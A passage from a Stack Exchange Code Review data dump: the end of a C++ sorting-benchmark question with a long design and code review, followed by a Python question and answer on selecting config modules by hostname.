* :param err_msg: error message to be displayed
*/
std::cerr << err_msg << std::endl;
exit(1);
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T22:08:59.960",
"Id": "513759",
"Score": "0",
"body": "What is \"Incredibly Precise\" about this?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T23:45:47.017",
"Id": "513768",
"Score": "2",
"body": "I’d say anyone timing a 78 s operation and reporting the time down to the *microsecond* is being incredibly precise."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T04:29:08.677",
"Id": "513779",
"Score": "0",
"body": "Hi @Giovacho - How do you know that your sorts actually work - did you compare the results?? And are you perhaps just lucky? i.e. if you added 3 more rows would they still work properly? Why - well if they don't work properly - then any \"performance\" comparison is not really a fair comparison."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T08:53:22.840",
"Id": "513794",
"Score": "0",
"body": "@Mr R I agree that this could be a potential problem. But in the future I am going to add unit tests to the project"
}
] |
[
{
"body": "<h1>Questions (+ design review)</h1>\n<h2>Could anyone do some little code review please?</h2>\n<p>The biggest issue I see with your current design is that you are using <a href=\"https://en.wikipedia.org/wiki/God_object\" rel=\"noreferrer\">the “god object” anti-pattern</a>. Your <code>Sorter</code> class:</p>\n<ol>\n<li>Loads the data from a file.</li>\n<li>Implements over a half-dozen sort algorithms.</li>\n<li><em>Tests</em> over a half-dozen sort algorithms.</li>\n<li>Writes sorted data to a file (over a half-dozen different ways).</li>\n</ol>\n<p>The general rule of good software design is “one ‘thing’, one job”, where “thing” could be a class, a function, or whatever else. In this case, loading the data is one “thing”, each sort algorithm is its own “thing”. The test mechanism is (should be) one “thing”. And so on.</p>\n<p>In addition, there’s the question of whether the “thing” should be a class or a function. C++ is not Java; it is not necessary to shoehorn every operation into a class. If a “thing” is only <em>doing</em> something—and doesn’t need to maintain state or data—then it doesn’t need to be a class. It can be a function. In particular, every one of those sort functions should be (as implied right in the name “sort <strong>function</strong>”)… a function.</p>\n<p>Sometimes it’s better to start designing from a high-level interface perspective. By that I mean, forget about the low-level details at first, and focus on what you want the code to <em>look like</em>. I don’t think if someone gave you the problem statement, that you <em>first</em> instinct would be to write <code>main()</code> the way it is written. The idea of a “sorter” object doesn’t really make a lot of sense. I think a more natural look for <code>main()</code> would be something like:</p>\n<pre><code>// load the data\nauto const data = load_data("nums.txt");\n\n// for each sort function, run a test\n//\n// the test needs the name of the sort, the actual function to test, and the\n// data to test with\ntest_sort_function("Bubble sort", &bubble_sort, data);\ntest_sort_function("Insertion Sort", &insertion_sort, data);\ntest_sort_function("STD Sort", &std_sort, data);\n// ...\n</code></pre>\n<p>Or perhaps;</p>\n<pre><code>// load the data\nauto const data = load_data("nums.txt");\n\n// each sort function has a name, and the actual function\nauto const tests = std::vector<std::tuple<std::string_view, sort_function_t>>{\n {"Bubble sort", &bubble_sort},\n {"Insertion Sort", &insertion_sort},\n {"STD Sort", &std_sort},\n // ...\n};\n\nfor (auto&& [name, func] : tests)\n{\n // test logic here\n}\n</code></pre>\n<p>Personally, I prefer the latter design, because it allows me to repeat and reorder tests much more easily.</p>\n<p>Either way makes it pretty trivial to add a new sort algorithm to test: simply write the actual sort algorithm, then add a new line—either a new <code>test_sort_function()</code> line, or a new line in that <code>tests</code> lists. That’s just two tasks: create the algorithm, register the test. Done.</p>\n<p>And that’s another reason why god objects are so bad. If I want to add a new sort algorithm to test with your current design, I have to:</p>\n<ol>\n<li>Write actual algorithm (and, of course, test it… which is something your current design doesn’t seem to take into account).</li>\n<li>Write the <code>run_???_sort()</code> function, which has to:\n<ol>\n<li>Verify the input data.</li>\n<li>Create the actual working data.</li>\n<li>Create a timer.</li>\n<li>Run the algorithm.</li>\n<li>(Output the test data. Luckily this is automatic due to being in the destructor of <code>Timer</code>.)</li>\n<li>Write the sorted data to an output file.</li>\n</ol>\n</li>\n<li>Add a new line in <code>main()</code> to actually run the test.</li>\n</ol>\n<p>That’s a hell of a lot of work just to add one more tests. And it’s really inflexible: what if I wanted to try running, say, bubble sort three different ways—with the data randomized, with the data <em>reverse</em> sorted, and with the data already sorted—to see how much difference it makes when the data is already sorted. There are two ways to consider solving that problem: one would be to write 3 different test lines to test a single sort algorithm, the other would be to modify the test logic to run those tests for every sort algorithm. Either option is difficult with your current design, but trivial with the two designs I suggested. That’s what happens when you take the time to think of the high-level interface you want, before diving into low-level code details.</p>\n<p>I can’t speak for most employers, but that’s what I would be looking for if I were hiring a programmer. If I toss out a spec, and a coder immediately starts banging out code on the keyboard… they’re already done; I won’t be hiring them. The coder who <em>stops</em>… <em>thinks</em>… and works their way through a high-level overview of the problem <em>first</em>… that’s who I want.</p>\n<p>So as a summary of the problems with your design:</p>\n<ul>\n<li>It has a massive code smell due to using a god object. Even without digging into the class, it’s obvious that <code>Sorter</code> is a god object just from glancing at <code>main()</code>.</li>\n<li>If I want to add a new sort algorithm, it takes an infuriating amount of boilerplate to do what should be a simple job.</li>\n<li>If I want to change the nature of the testing—for example, by running tests with differently-pre-sorted data, or by doing a bunch of iterations and averaging the times—I have to do so independently for every algorithm.</li>\n<li>Most of the sort algorithms are buried in the test code. How do you even know they actually work? How could you test them? They could be buggy as all hell and you’d never know.</li>\n</ul>\n<h2>I wonder if the measurement results are reliable in any way.</h2>\n<p>They are not.</p>\n<p>Benchmarking is a <em>very</em> hard problem. Your test results could be affected by:</p>\n<ul>\n<li>which test is run first (because it may need to allocate memory, which ends up in a call to the kernel to get new pages allocated, but once you have those pages the following tests will just reuse them)</li>\n<li>the order of the tests (because one test may leave the cache in a state that is beneficial or detrimental to the next test)</li>\n<li>what else happens to be running on the system</li>\n<li>the state of your storage media (you’re doing output after every test, after all)</li>\n<li>randomness (the OS may decide to do some kind of sweep while your tests are running, or DRAM refresh may cause issues at an even lower level);</li>\n<li>and so on.</li>\n</ul>\n<p>There is simply no way to prevent any of the above confounding factors.</p>\n<p>And that’s not to mention that compiler optimizations might ruin your day, too. Benchmarking is a very, <em>very</em>, <em><strong>VERY</strong></em> hard problem.</p>\n<p>What you could do to minimize the influence of (some of) these confounding factors is to treat your benchmarking like an actual scientific experiment, and follow the best practices for that. For example, rather than taking a simple data point, take hundreds or thousands—run each test many, many times—perhaps in random order. Then average those results, possibly after throwing out the highest and lowest 10% or something, or maybe finding the standard deviation and throwing out any data points that are more than 1 or 2 standard deviations away from the mean, or whatever you please.</p>\n<h2>I plan to implement even more sorting algorithms.</h2>\n<p>But doing so with your current design is extremely tedious and error-prone. That should be a sign of a problem. Before thinking about adding “features”, <em>that</em> is what I would want to see a prospective hire focused on; eagerly piling crap on crap does not give me confidence that someone is a good programmer, going back and fixing problems to make existing code better does.</p>\n<h2>What is your honest opinion about this project?</h2>\n<p>It’s actually a really, really good portfolio project, and if you do it well, a good thing to show off to prospective employers.</p>\n<p>Therefore, you should <em>really</em> focus on doing it <em>well</em>.</p>\n<p>If you showed this to me as a prospective employer, I’m not going to be interested in how “clever” your low-level code is—like the actual sort algorithms. I’m not really impressed by the knowledge of sort algorithms either; every comp-sci student knows a dozen of them. What I’ll be looking for is the high-level stuff:</p>\n<ul>\n<li>How easy is it to add a new sort algorithm to test?</li>\n<li>How easy would it be to change the nature of the testing (for example, adding tests for already-sorted data, reverse-sorted data, etc.)?</li>\n<li>How flexible is it (for example, could I change the order of the tests, could I change the number of repeats, could I disable certain tests, etc.)?</li>\n</ul>\n<p>I would be looking at the <em>structure</em> of your code, to see how well it reflects an organized mind, and an understanding of what’s really important in a program: clarity, testability, ease of maintenance, and so on.</p>\n<p>Don’t go too far adding “features”, because as a portfolio sample, the code should be fairly small and lean. I’m not going to sit and read through thousands of lines of code; I want <em>short</em> samples, but short samples that really illustrate that a programmer understands what it means to be a programmer.</p>\n<h1>Code review</h1>\n<p>I’ve already covered my opinion on the current structure of <code>main()</code> in the design review, so I won’t repeat it.</p>\n<p>So let’s move on <code>timer.h</code>.</p>\n<p>First, I think it’s bad practice to name C++ header files with a <code>.h</code> extension. I know there are experts who disagree, but <code>.h</code> means that a header is a C header, or possibly polyglot. A C++ header would be <code>.hpp</code>.</p>\n<p>Second, you are missing include guards.</p>\n<p>You should also get in the habit of putting your code in a namespace.</p>\n<p>Now, <code>Timer</code> is not a great name for this class, because it’s not <em>just</em> a timer. It’s actually a very <em>specific</em> type of timer; it’s a timer for sort algorithm testing. The name <code>Timer</code> misleads me into thinking that I can reuse it for other timing purposes.</p>\n<p>This class should have a more purpose-specific name, and it should probably be in a purpose-specific header, because it doesn’t really have any general purpose use. You probably want a <code>sort_testing.hpp</code> header, which will hold the timer and other test functions.</p>\n<p>(Note that if you used a sort-testing-specific namespace, then <code>Timer</code> would be an okay name for the class, because then it would actually be <code>mynamespace::sort_testing::Timer</code>.)</p>\n<pre><code>Timer(std::string sorting_alg, int num_quantity);\n</code></pre>\n<p><code>num_quantity</code> should not be an <code>int</code>. If you want counts in C++, the correct type is usually <code>std::size_t</code>. If you use <code>int</code>, you are going to see errors with large datasets.</p>\n<p>You should also consider that this class is functionally impossible to test, due to the fact that it writes its results to <code>std::cout</code>. That’s bad; untestable code is garbage code. Doesn’t matter how “well-written” it is; if code doesn’t have tests, it is completely useless for serious projects.</p>\n<p>So you should give this class the ability to write its results to wherever the user chooses. An easy way is to add a <code>std::ostream&</code> argument to the constructor, and use that output stream in the destructor rather than <code>std::cout</code>.</p>\n<p><em><strong>OR…</strong></em></p>\n<p>Stop. Take a step back. Rethink.</p>\n<p>Rather than writing all this job-specific stuff into the timer… perhaps rethink the problem as a timer that just has to do <em>something</em> when the timing is done. And then let that <em>something</em> be configurable.</p>\n<p>So, for example, something like this:</p>\n<pre><code>template <std::invocable<std::chrono::microseconds> Func>\nclass timer\n{\npublic:\n explicit timer(Func f) : _func{std::move(f)}\n {\n // start the timer after everything else is done\n _start = std::chrono::high_resolution_clock::now();\n }\n\n ~timer()\n {\n // stop the timer\n auto const end = std::chrono::high_resolution_clock::now();\n\n // calculate the duration\n auto const duration = std::chrono::microseconds(end - _start);\n\n // call the callback\n _func(duration);\n }\n\n // noncopyable\n timer(timer const&) = delete;\n auto operator=(timer const&) -> timer& = delete;\n\n // nonmovable\n timer(timer&&) = delete;\n auto operator=(timer&&) -> timer& = delete;\n\nprivate:\n std::chrono::time_point<std::chrono::high_resolution_clock> _start;\n Func _func;\n};\n</code></pre>\n<p>And you’d use it like:</p>\n<pre><code>class display_results\n{\npublic:\n display_results(std::string algorithm, std::size_t quantity) :\n _algorithm{std::move(algorithm)},\n _quantity{quantity}\n {}\n\n auto operator()(std::chrono::microseconds duration)\n {\n using namespace std::literals;\n\n out.width(16);\n out << ("["s + algorithm + "]"s);\n\n out.width(7);\n out << " Took:";\n\n out.width(10);\n out << duration.count();\n\n out.width(2);\n out << " \\xE6s";\n\n // etc.\n }\n\nprivate:\n std::string _algorithm;\n std::size_t _quantity;\n};\n\n// in test code:\n{\n auto const _ = timer{display_results{"Bubble sort", data.size()}};\n\n bubble_sort(data);\n}\n{\n auto const _ = timer{display_results{"Insertion sort", data.size()}};\n\n insertion_sort(data);\n}\n// etc.\n</code></pre>\n<p>That would net you a general-purpose, reusable timer. That ain’t bad.</p>\n<p>Moving on…</p>\n<pre><code>Timer::Timer(std::string sorting_alg, int num_quantity) {\n _startTimepoint = std::chrono::high_resolution_clock::now();\n _algorythm = sorting_alg;\n _quantity = num_quantity;\n}\n</code></pre>\n<p>So what you’re doing here is starting the clock… then proceeding to copy a string (and an <code>int</code>) that both have nothing to do with what you’re supposed to be timing. I mean, it won’t make much difference, but it’s not a good look.</p>\n<p>The first thing you should look into is member initializer lists, so you constructor would be:</p>\n<pre><code>Timer::Timer(std::string sorting_alg, int num_quantity) :\n _algorythm{sorting_alg},\n _quantity{num_quantity}\n{\n _startTimepoint = std::chrono::high_resolution_clock::now();\n}\n</code></pre>\n<p>That gets all the initialization out of the way before you actually start the timer.</p>\n<p>Next you should look into moving, rather than copying. It can make a huge difference for strings:</p>\n<pre><code>Timer::Timer(std::string sorting_alg, int num_quantity) :\n _algorythm{std::move(sorting_alg)},\n _quantity{num_quantity}\n{\n _startTimepoint = std::chrono::high_resolution_clock::now();\n}\n</code></pre>\n<p>Now, you go through a lot of theatrics to calculate your durations… but there’s really no need for most of it. Let’s start with what you have:</p>\n<pre><code>auto endTimepoint = std::chrono::high_resolution_clock::now();\nauto start = std::chrono::time_point_cast<std::chrono::microseconds>(_startTimepoint).time_since_epoch().count();\nauto end = std::chrono::time_point_cast<std::chrono::microseconds>(endTimepoint).time_since_epoch().count();\n\nauto duration = end - start;\ndouble miliseconds = duration * 0.001;\nint seconds = miliseconds * 0.001;\n</code></pre>\n<p>The first line is obviously correct, so there’s no need to change that.</p>\n<p>However, the next two lines are weird and pointless. You want the duration in microseconds? Then just get the duration in microseconds:</p>\n<pre><code>auto const endTimepoint = std::chrono::high_resolution_clock::now();\n\nauto const duration = std::chrono::microseconds{endTimepoint - _startTimepoint};\n</code></pre>\n<p>That’s it.</p>\n<p>Now to get milliseconds, you want those as <code>double</code>s. So you need to do</p>\n<pre><code>auto const endTimepoint = std::chrono::high_resolution_clock::now();\n\nauto const duration = std::chrono::microseconds{endTimepoint - _startTimepoint};\nauto const miliseconds = std::chrono::duration<double, std::milli>{duration};\n</code></pre>\n<p>Finally, you want seconds as an integer, so:</p>\n<pre><code>auto const endTimepoint = std::chrono::high_resolution_clock::now();\n\nauto const duration = std::chrono::microseconds{endTimepoint - _startTimepoint};\nauto const miliseconds = std::chrono::duration<double, std::milli>{duration};\nauto const seconds = std::duration_cast<std::chrono::seconds>(duration); // need a cast because of loss of precision\n</code></pre>\n<p>That’s it.</p>\n<p>Now to print those values:</p>\n<pre><code>std::cout << duration.count(); // prints microseconds\n\nstd::cout.precision(3);\nstd::cout << milliseconds.count(); // prints milliseconds to 3 decimal places\n\nstd::cout << seconds.count(); // prints seconds\n</code></pre>\n<p>If you really want fixed-width printing of chunks of data, it’s much easier to use temporary string streams than all the shenanigans you’re doing with substring manipulation:</p>\n<pre><code>auto oss = std::ostringstream{};\noss.precision(3);\noss << " (" << milliseconds.count() << " ms)";\n\nstd::cout.width(17);\nstd::cout << oss.str();\n</code></pre>\n<p>Now onto <code>sorter.h</code>:</p>\n<pre><code>#pragma once\n</code></pre>\n<p>Don’t use <code>#pragma once</code>. It is non-standard, and it has some very nasty bugs that you do <em>not</em> want to run into. Include guards are standard, and are just as efficient.</p>\n<pre><code>#include <vector>\n</code></pre>\n<p>You’ve forgotten to include <code><string></code>.</p>\n<pre><code>class Sorter\n</code></pre>\n<p>Okay, let’s get into the design of this class. I’ve already said this class is a god object, and that’s bad… but let’s get into specific problems.</p>\n<p>The class has two data members:</p>\n<pre><code>std::vector<int> _unsorted;\nstd::vector<int> _sorted;\n</code></pre>\n<p>The first one makes sense… you need to keep a copy of the raw data. But… why do you need to keep a copy of the <em>sorted</em> data?</p>\n<p>Look at your test algorithms. Every single one has this chunk of code in it (which is buggy… but we’ll get to that):</p>\n<pre><code>const int numbers_count = _unsorted.size();\n_sorted.clear();\n_sorted.insert(_sorted.end(), _unsorted.begin(), _unsorted.end());\n</code></pre>\n<p>This dance is necessary because you need to reset the sorted data. But… why? Why not just use a new vector in each test? Like so (using <code>run_std_sort()</code> because it’s the shortest):</p>\n<pre><code>void Sorter::run_std_sort(std::string const& output_filename) const\n{\n if (_unsorted.empty() == true)\n {\n _die("Error: No numbers loaded.");\n }\n\n // can't get much simpler than this:\n auto numbers = _unsorted;\n\n {\n Timer t("STD Sort", numbers.size());\n\n std::sort(numbers.begin(), numbers.end());\n }\n\n //_save_numbers_to_file(output_filename);\n //\n // you need to pass the data to the write function:\n _save_numbers_to_file(output_filename, numbers);\n}\n\nvoid Sorter::_save_numbers_to_file(std::string const& output_filename, std::vector<int> const& numbers) const\n{\n auto output_file = std::ofstream{output_filename};\n\n auto first = true;\n for (auto&& number : numbers)\n {\n // this is a standard trick to get nicely formatted output\n if (not std::exchange(first, false))\n output_file << ", ";\n\n output_file << number;\n }\n}\n</code></pre>\n<p>So you don’t need <code>_sorted</code> at all.</p>\n<p>As for <code>_unsorted</code>, you have another code smell: every test function has this chunk:</p>\n<pre><code> if (_unsorted.empty() == true)\n {\n _die("Error: No numbers loaded.");\n }\n</code></pre>\n<p>If you have to check a class’s invariants in every public member function… you have a bad design.</p>\n<p>There are two ways you might fix this. Option 1 is to move the whole of <code>load_numbers()</code> into a constructor, like so:</p>\n<pre><code>class Sorter\n{\npublic:\n explicit Sorter(std::string const& filename)\n {\n auto file = std::ifstream{filename};\n\n // you should check that the file opened!\n //\n // you should also check for errors reading the numbers\n\n std::copy(\n std::istream_iterator<int>{file},\n std::istream_iterator<int>{},\n std::back_inserter(_unsorted)\n );\n\n // do any other checks you want here\n //\n // if anything is not kosher, throw an exception\n }\n\n // ...\n</code></pre>\n<p>With that, you will know that once your <code>Sorter</code> has been successfully constructed, <code>_unsorted</code> is good. No need to check in every member function. In fact, every member function can now be <code>const</code>, because it doesn’t change the (god) object’s state. This is a very good thing.</p>\n<p>The other option—probably the better option—is to take the whole input function out of the class entirely. It shouldn’t be there in any case. It’s a completely separate job, so it should be in its own unit. This actually increases flexibility, because now you can load data from a file, or the network, or you can generate random data, and now <code>Sorter</code> doesn’t care.</p>\n<p>So something like this:</p>\n<pre><code>auto load_numbers(std::filesystem::path const& path)\n{\n auto data = std::vector<int>{};\n\n auto file = std::ifstream{path};\n\n std::copy(\n std::istream_iterator<int>{file},\n std::istream_iterator<int>{},\n std::back_inserter(data)\n );\n\n return data;\n}\n\nclass Sorter\n{\npublic:\n template <std::ranges::input_range R>\n requires std::same_as<std::ranges::range_value_t<R>, int>\n Sorter(R&& r)\n {\n std::ranges::copy(r, std::back_inserter(_unsorted));\n\n // do any checks you want, throw an exception if they fail\n }\n\n // ...\n};\n\nauto s = Sorter{load_numbers("nums.txt")};\n</code></pre>\n<p>As for <code>load_numbers()</code>:</p>\n<pre><code>void Sorter::load_numbers(std::string filename) {\n /* \n * Reads numbers from file and saves them to _unsorted vector\n * \n * :param filename: filename to read numbers from\n */\n std::ifstream nums_file (filename);\n int curr_num;\n _unsorted.clear();\n\n while (nums_file >> curr_num) {\n // Add numbers from file to an array\n //std::cout << curr_num << ", ";\n _unsorted.push_back(curr_num);\n }\n\n nums_file.close();\n}\n</code></pre>\n<p>There is no reason to take the filename by value. You’re only looking at it, not keeping a copy. You should take it by <code>const&</code> to avoid an unnecessary copy.</p>\n<p>Even better, rather than a plain string, you could take a <code>std::filesystem::path const&</code>.</p>\n<p>Within the function, you don’t really do any error checking at all. You don’t check that the file was even opened, and you don’t check that the numbers are valid. At the first invalid number read, the function will just assume there is no more input. You’ll never know that your data is bad.</p>\n<p>Finally, there’s no need to explicitly close the file. That’s done automatically.</p>\n<p>And again, this should not be a member function, it should be a separate function.</p>\n<p>Now I’m going to skip around a bit and do <code>_save_numbers_to_file()</code> here, because it’s almost identical to <code>load_numbers()</code>. Everything from there applies here, but also:</p>\n<pre><code> for (int i = 0; i < _sorted.size(); i++) {\n output_file << _sorted[i];\n if (i != _sorted.size() - 1) {\n output_file << ", ";\n }\n }\n</code></pre>\n<p>There’s a standard trick for what you’re trying to do here, that works even if you’re using data that you don’t know the size.</p>\n<p>The trick is to use a flag for the first iteration, and <em>not</em> print the comma if the flag is true:</p>\n<pre><code>auto first = true;\nfor (auto&& number : _sorted)\n{\n if (not first)\n out << ", ";\n\n first = false;\n\n out << number;\n}\n</code></pre>\n<p>With <code>std::exchange()</code> you can compact that a bit:</p>\n<pre><code>auto first = true;\nfor (auto&& number : _sorted)\n{\n if (not std::exchange(first, false))\n out << ", ";\n\n out << number;\n}\n</code></pre>\n<p>Before I get into the sorting functions, let’s clear up the remaining stuff:</p>\n<pre><code>void Sorter::_swap(int *left, int *right) {\n /* \n * Swaps two number in an array\n * \n * :param *left: pointer to first number location\n * :param *right: pointer to second number location\n */\n int temp = *left;\n *left = *right;\n *right = temp;\n}\n</code></pre>\n<p>This is completely unnecessary: use <code>std::swap()</code>.</p>\n<pre><code>void Sorter::_die(const std::string& err_msg)\n{\n /* \n * Outputs error message on standard error output stream\n * and exits program\n * \n * :param err_msg: error message to be displayed\n */\n std::cerr << err_msg << std::endl;\n exit(1);\n}\n</code></pre>\n<p>Never, ever use <code>std::exit()</code> in a C++ program. It is a C library function that doesn’t work well in C++.</p>\n<p>There is no clean way to abruptly exit a program in C++; that defies the nature of what C++ is. If you just want to do a hard exit, there is <code>std::terminate()</code>, but that’s ugly. A better option in almost every situation is to throw an exception.</p>\n<p>Okay, now on to the sort functions, which are all more-or-less identical. I’ll focus on <code>run_std_sort()</code> because it’s the shortest.</p>\n<pre><code>void Sorter::run_std_sort(std::string output_filename) {\n /* \n * Sorts an array with sort() function from\n * C++ Standard Library - from <algorithm> header\n *\n * :param output_filename: file name with sorted numbers\n */\n\n // Check if numbers were loaded from file\n if (_unsorted.empty() == true) {\n _die("Error: No numbers loaded.");\n }\n\n const int numbers_count = _unsorted.size();\n _sorted.clear();\n _sorted.insert(_sorted.end(), _unsorted.begin(), _unsorted.end());\n\n {\n Timer t("STD Sort", numbers_count);\n\n std::sort(_sorted.begin(), _sorted.end());\n }\n\n _save_numbers_to_file(output_filename);\n}\n</code></pre>\n<p>Okay, first, as with the input/output functions, you don’t need to take the filename by value… because you don’t need to <em>take</em> the value, you only want to <em>read</em> the value. So you should use a <code>const&</code>. In addition, you should consider using a <code>std::filesystem::path</code> rather than a <code>std::string</code>. It’s always good to use the right types.</p>\n<p>Next, that chunk that checks <code>_unsorted</code> shouldn’t be necessary. <code>_unsorted</code> should be set up in the class constructor, and if there’s a problem, it should be diagnosed there… not over-and-over in every member function.</p>\n<p>The next chunk is the bit that resets <code>_sorted</code>:</p>\n<pre><code> const int numbers_count = _unsorted.size();\n _sorted.clear();\n _sorted.insert(_sorted.end(), _unsorted.begin(), _unsorted.end());\n</code></pre>\n<p>The first line is wrong. <code>int</code> is not the right type, and you risk subtle bugs by using it. The correct type is <code>std::vector<int>::size_type</code>. But of course, you can just use <code>auto</code>. If you used <code>auto</code> all the time… which you should… it will automatically fix several bugs in your code.</p>\n<p>The next two lines first clear the vector, then fill with data. Okay, but… you could just have done:</p>\n<pre><code>_sorted.assign(_unsorted.begin(), _unsorted.end());\n</code></pre>\n<p>That will replace all the existing content with the contents of <code>_unsorted</code>.</p>\n<p>Or, even simpler:</p>\n<pre><code>_sorted = _unsorted;\n</code></pre>\n<p>Yeah, that’s all you need.</p>\n<p>So this is what we have:</p>\n<pre><code>void Sorter::run_std_sort(std::filesystem::path const& output_filename)\n{\n /* \n * Sorts an array with sort() function from\n * C++ Standard Library - from <algorithm> header\n *\n * :param output_filename: file name with sorted numbers\n */\n\n const auto numbers_count = _unsorted.size();\n _sorted = _unsorted;\n\n {\n Timer t("STD Sort", numbers_count);\n\n std::sort(_sorted.begin(), _sorted.end());\n }\n\n _save_numbers_to_file(output_filename);\n}\n</code></pre>\n<p>But as I have already mentioned, you don’t need <code>_sorted</code> at all, and you could simply refactor <code>_save_numbers_to_file()</code> to take the sorted data as an argument (although, <code>_save_numbers_to_file()</code> should probably be a separate function, outside of the class), which would allow you to make the entire function <code>const</code>:</p>\n<pre><code>void Sorter::run_std_sort(std::filesystem::path const& output_filename) const\n{\n /* \n * Sorts an array with sort() function from\n * C++ Standard Library - from <algorithm> header\n *\n * :param output_filename: file name with sorted numbers\n */\n\n const auto numbers_count = _unsorted.size();\n auto sorted = _unsorted;\n\n {\n Timer t("STD Sort", numbers_count);\n\n std::sort(sorted.begin(), sorted.end());\n }\n\n _save_numbers_to_file(output_filename, sorted);\n}\n</code></pre>\n<p>Or even simpler:</p>\n<pre><code>void Sorter::run_std_sort(std::filesystem::path const& output_filename) const\n{\n /* \n * Sorts an array with sort() function from\n * C++ Standard Library - from <algorithm> header\n *\n * :param output_filename: file name with sorted numbers\n */\n\n auto sorted = _unsorted;\n\n {\n Timer t("STD Sort", sorted.size());\n\n std::sort(sorted.begin(), sorted.end());\n }\n\n _save_numbers_to_file(output_filename, sorted);\n}\n</code></pre>\n<p>All of your test functions should take this form, with the only differences being the name of the algorithm, and the actual function called. By which I mean: none of those functions should have the sort algorithm implemented in-place. That’s bad. It makes the sort algorithms impossible to test. The sort algorithms should all be separate functions.</p>\n<p>All of your sort algorithms could have the same format:</p>\n<pre><code>template <std::random_access_iterator I, std::sentinel_for<I> S>\nauto bubble_sort(I first, S last) -> void\n{\n // ...\n}\n</code></pre>\n<p>Let’s start with bubble sort:</p>\n<pre><code>template <std::random_access_iterator I, std::sentinel_for<I> S>\nauto bubble_sort(I first, S last) -> void\n{\n /*\n bool swapped = false;\n\n for (int i = 0; i < numbers_count - 1; i++) {\n swapped = false;\n for (int j = 0; j < numbers_count - i - 1; j++) {\n if (_sorted[j] > _sorted[j+1]) {\n // Swap places\n _swap(&_sorted[j], &_sorted[j+1]);\n swapped = true;\n }\n }\n if (swapped == false) {\n // Array sorted\n break;\n }\n }\n */\n}\n</code></pre>\n<p>For starters, that <code>bool</code> doesn’t need to exist outside of the loop.</p>\n<p>Next, let’s convert that loop to use iterators rather than numbers. Why? Well, for starters, your loop is buggy. It uses <code>int</code>. That’s wrong. What’s right? Well that’s a good question. It is <em>possible</em> to figure that out… but really, really hard. And in any case, iterators are far more powerful and flexible.</p>\n<p>So, for example:</p>\n<pre><code>template <std::random_access_iterator I, std::sentinel_for<I> S>\nauto bubble_sort(I first, S last) -> void\n{\n for (auto i = first; i != last; ++i)\n {\n auto swapped = false;\n\n for (auto j = first; j < i; ++j)\n {\n if (*j < *(j + 1))\n {\n std::ranges::iter_swap(j, j + 1);\n swapped = true;\n }\n }\n\n if (swapped = true)\n break;\n }\n}\n</code></pre>\n<p>The same idea applies to all the other sort functions you want to test, but I won’t repeat the points over and over.</p>\n<p>In summary:</p>\n<ul>\n<li>You have a god object. It needs to be broken up into individual functional parts.</li>\n<li>The input and output operations should probably be separate functions.</li>\n<li>Every one of the sort functions should be a separate function.</li>\n<li>The timer could be more flexible; you could make it reusable by using a callback in the destructor.</li>\n<li>The test function could be more flexible, you could make a single test function that takes the sort function to test as an argument, and reuse that.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T04:32:24.230",
"Id": "513780",
"Score": "2",
"body": "Now that's an hour of your life you aren't going to get back !!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T08:49:37.303",
"Id": "513793",
"Score": "0",
"body": "Insane answer. I appreciate the effort and of course I will try to make changes, looks like - everywhere"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T00:29:32.030",
"Id": "260277",
"ParentId": "260268",
"Score": "8"
}
}
] |
{
"AcceptedAnswerId": "260277",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T18:17:04.483",
"Id": "260268",
"Score": "2",
"Tags": [
"c++",
"algorithm",
"sorting"
],
"Title": "C++ Incredibly Precise Sorter | Efficiency and speed of sorting algorithms"
}
|
260268
|
<p>I have some python scripts to run on different computers. To avoid struggles with different paths and filenames I made specific config-files (DConfig, AConfig and MConfig) and another script that decides which config to use. It works, but I guess, there are better ways to do this. Any ideas?</p>
<pre><code>import os
import socket
hostname_K = 'DESKTOP-K'
hostname_A = 'A'
hostname_M = '' # hostname not known for sure
print("start config")
print("cwd: ", os.getcwd())
print("os: ", os.name)
# print(os.getlogin()) # Doesn't work on non-posix
hostname = socket.gethostname()
if hostname == hostname_K:
import DConfig as Conf
elif hostname == hostname_A:
import AConfig as Conf
else:
print("Hostname: {}, guess we are on M".format(hostname))
import MConfig as Conf
dirData = Conf.dirData
dirScript = Conf.dirScript
pathDB = Conf.pathDB
print("config done.")
</code></pre>
<p>How it is used by other scripts:</p>
<pre><code>import config
XMLFILE = config.dirData + 'Tags.xml'
DATABASE = config.pathDB
</code></pre>
<p>Here is an example script for one of the config-files.</p>
<pre><code>dirData = '/home/username/path/to/data/'
dirScript = '/home/username/path/to/scripts/'
pathDB = '/home/username/path/to/database.db'
</code></pre>
<p>The other scripts are similar.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T21:56:05.590",
"Id": "513757",
"Score": "0",
"body": "`dirData` etc. are used by other scripts importing this config files."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T02:15:19.093",
"Id": "513774",
"Score": "0",
"body": "It might be helpful if you include the 3 config files in the question as well."
}
] |
[
{
"body": "<p>You have a value (<code>hostname</code> in this case) that you want to use to select among\nvarious data choices (config modules in this case). When you have situations\nlike this, use a data structure. <strong>Sensible\ndata is always simpler than logic</strong>. For example, see <a href=\"https://users.ece.utexas.edu/%7Eadnan/pike.html\" rel=\"nofollow noreferrer\">Rule 5</a> from Rob\nPike.</p>\n<p>An illustration based on your code:</p>\n<pre><code>import socket\nimport DConfig\nimport AConfig\nimport MConfig\n\nconfigs = {\n 'host-D': DConfig,\n 'host-A': AConfig,\n 'host-M': MConfig,\n}\n\nhostname = socket.gethostname()\nConf = configs.get(hostname, MConfig)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T22:07:50.113",
"Id": "513758",
"Score": "0",
"body": "Thanks, that looks a lot better!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T21:35:31.157",
"Id": "260275",
"ParentId": "260270",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260275",
